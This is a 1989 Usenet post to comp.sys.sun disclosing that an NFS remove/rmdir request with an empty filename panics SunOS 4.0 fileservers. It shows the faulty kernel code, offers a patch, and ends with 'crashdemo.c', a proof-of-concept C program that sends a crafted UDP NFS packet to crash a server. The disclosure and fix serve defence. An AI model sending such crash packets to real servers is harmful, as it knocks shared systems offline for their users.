Path: utzoo!dptcdc!jarvis.csri.toronto.edu!mailrus!cornell!uw-beaver!rice!sun-spots-request From: nlgvax!geertj@nluug.nl (Geert Jan de Groot) Newsgroups: comp.sys.sun Subject: PC/NFS causes 'dirremove' panic in SunOS 4.0 fileserver Keywords: Networks Message-ID: <8903291953.AA11840@nlgvax.pcg.philips.nl> Date: 19 Apr 89 02:02:03 GMT Sender: usenet@rice.edu Organization: Sun-Spots Lines: 218 Approved: Sun-Spots@rice.edu Original-Date: Wed, 29 Mar 89 21:53:19 +0200 X-Sun-Spots-Digest: Volume 7, Issue 231, message 8 of 9 X-Post: comp.protocols.nfs Hi, We have had quite a bit of trouble with the new SUNOS 4.0 on one of our fileservers. Frequently, the machine crashed with a 'panic: dirremove' message, which caused a reboot. After some monitoring, we discovered the crashes were caused by PC users, using PC/NFS with WordPerfect 5.0. The exact sequence to generate the crash is quite complex, but looking at the source of the kernel and comparing it to 3.5, we found what the trouble might be. In short, a NFS call RFS_REMOVE with a zero-length file name argument directly causes a crash. Looking at the source (ufs/ufs_dir.c) we find: dirremove(dp, namep, oip, rmdir) register struct inode *dp; char *namep; struct inode *oip; int rmdir; { register struct direct *ep; struct direct *pep; struct inode *ip; int namlen; struct slot slot; int err = 0; namlen = strlen(namep); ----> if (namlen == 0) ----> panic("dirremove"); In the 3.5 source, this check is missing, so the problem is only with 4.0. After monitoring the traffic between PC and server, we found that PC/NFS sometimes does a RFS_REMOVE with zero-length filename, triggering a crash. While it might be an illegal call (I don't know for shure), it certainly should not _crash_ a server! I made a small (and dirty) program which also triggers the bug. It is included at the end of this article. Apperently, the kernel normally checks for empty filenames, but this check does not include NFS calls. To overcome the problem, we changed ufs/ufs_dir.c like this: dirremove(dp, namep, oip, rmdir) register struct inode *dp; char *namep; struct inode *oip; int rmdir; { register struct direct *ep; struct direct *pep; struct inode *ip; int namlen; struct slot slot; int err = 0; /* NFS call RFS_RMDIR goes to this routine, without checking * if the filename is empty. Arriving here, an empty filename * crashed the system. */ namlen = strlen(namep); if (namlen == 0) #ifdef CRASH panic("dirremove"); #else { printf("dirremove: empty filename\n"); return (EINVAL); } #endif People with SUNOS 4.0 sources can use these for SUNOS 4.0.1, because the file ufs_dir.c apperently isn't changed for 4.0.1 (i.e. it compiles to the same object module as the object module which came with 4.0.1. I hope this is clear enough. Cheers, Geert Jan DISCLAIMER: Neither I nor my employer accept any responsability for this fix. It seems to work here, but check out for yourself! And here is an example to crash your server: #! /bin/sh # This is a shell archive. Remove anything before this line, then unpack # it by saving it into a file and typing "sh file". To overwrite existing # files, type "sh file -c". You can also feed this as standard input via # unshar, or by typing "sh 'crashdemo.c' <<'END_OF_FILE' X/* crashdemo - CAUTION: likely to crash a 4.0 server! */ X X/* This program sends a NFS RFS_RMDIR call to a server. If the filename X * has zero length, this will crash a SUNOS 4.0 server with a X * 'dirremove' panic. X * X * NFS requests like these are generated by PC/NFS with WordPerfect 5.0 X * The RPC call may be illegal, but should it _crash_ a server? X * X * This program is very dirty, uses magic constants all over the place. X * Sorry, but I didn't have all the RPC/XDR manuals at hand (at home). X */ X X#include X#include X#include X#include X#include X Xmain() X{ X int s; X int domain; X int type; X int protocol; X X int cc; X struct sockaddr_in sa; X X struct hostent *hp; X struct servent *sp; X X /* This array contains a RPC call, which is copied from ethernet. X * The uid, gid etc has been set to bogus values for safety, X * and the filename has been zeroed. X */ X static char data[] = { X 0x00, 0x07, 0x07, 0x02, /* int xid */ X 0x00, 0x00, 0x00, 0x00, /* msg_type = 0 (CALL) */ X 0x00, 0x00, 0x00, 0x02, /* uint rpcvers = 2 */ X 0x00, 0x01, 0x86, 0xa3, /* uint prog = 100003 (NFS) */ X 0x00, 0x00, 0x00, 0x02, /* uint vers = 2 */ X 0x00, 0x00, 0x00, 0x0f, /* uint proc = 15 (NFSPROC_RMDIR) */ X 0x00, 0x00, 0x00, 0x01, /* opaque_auth cred: */ X /* auth_flavor = 1 (AUTH_UNIX) */ X 0x00, 0x00, 0x00, 0x24, /* ???? */ X 0x24, 0x29, 0x65, 0xc5, /* uint stamp = xxxxxxxxx */ X 0x00, 0x00, 0x00, 0x06, /* string(6): */ X 0x68, 0x61, 0x73, 0x70, /* "haspel" */ X 0x65, 0x6c, 0x00, 0x00, X 0x00, 0x00, 0x01, 0xff, /* uint uid: 511 (bogus) */ X 0x00, 0x00, 0x01, 0x00, /* uint gid: 256 (bogus) */ X 0x00, 0x00, 0x00, 0x02, /* uint gids[2]: */ X 0x00, 0x00, 0x01, 0x00, /* 256 (bogus) */ X 0x00, 0x00, 0x01, 0x01, /* 257 (bogus2) */ X 0x00, 0x00, 0x00, 0x00, /* opaque_auth verf: */ X /* auth_flavor = 0 (AUTH_NULL) */ X 0x00, 0x00, 0x00, 0x00, /* ????? */ X 0x00, 0x00, 0x03, 0x0f, /* diropargs: opaque fhandle[32] = xxxxx */ X 0x00, 0x00, 0x00, 0x01, X 0x00, 0x08, 0x00, 0x00, X 0x78, 0x30, 0x2c, 0xa9, X 0xaf, 0xfd, 0x00, 0x00, X 0x00, 0x08, 0x00, 0x00, X 0x00, 0x02, 0x39, 0xd5, X 0xb2, 0x7e, 0x00, 0x00, X#ifdef NOTDEF /* normal packet with name */ X 0x00, 0x00, 0x00, 0x07, /* string(6): */ X 0x74, 0x65, 0x73, 0x74, /* "testdir" */ X 0x64, 0x69, 0x72, 0x00, X#else /* zero-length filename, crashes system */ X 0x00, 0x00, 0x00, 0x00, X#endif X }; X X domain = AF_INET; X type = SOCK_DGRAM; X protocol = 17; /* UDP */ X s = socket(domain, type, protocol); X if (s < 0) X perror("socket"); X X if ((hp = gethostbyname("galm")) == NULL) { X printf("gethostbyname\n"); X exit(1); X } X bcopy((char*) hp->h_addr, (char *) &sa.sin_addr, hp->h_length); X sa.sin_family = hp->h_addrtype; X X sa.sin_port = 2049; X cc = sendto(s, data, sizeof(data), 0, &sa, sizeof(sa)); X if (cc != sizeof(data)) X perror("sendto"); X printf("sent %d bytes\n", cc); X} END_OF_FILE if test 2896 -ne `wc -c <'crashdemo.c'`; then echo shar: \"'crashdemo.c'\" unpacked with wrong size! fi # end of 'crashdemo.c' fi echo shar: End of shell archive. exit 0 --8<--snip-snip--------------------------------------------------------------- Geert Jan de Groot, Email: geertj@nlgvax.pcg.philips.nl Philips Research Laboratories, ..!mcvax!nlgvax!geertj Project Centre Geldrop, Ham: PE1HZG Building XP, Room 4, Willem Alexanderlaan 7B, "MS-DOS is just a bootstrap" - me 5664 AN Geldrop, The Netherlands. phone: +31 40 892204 [Standard disclaimers apply]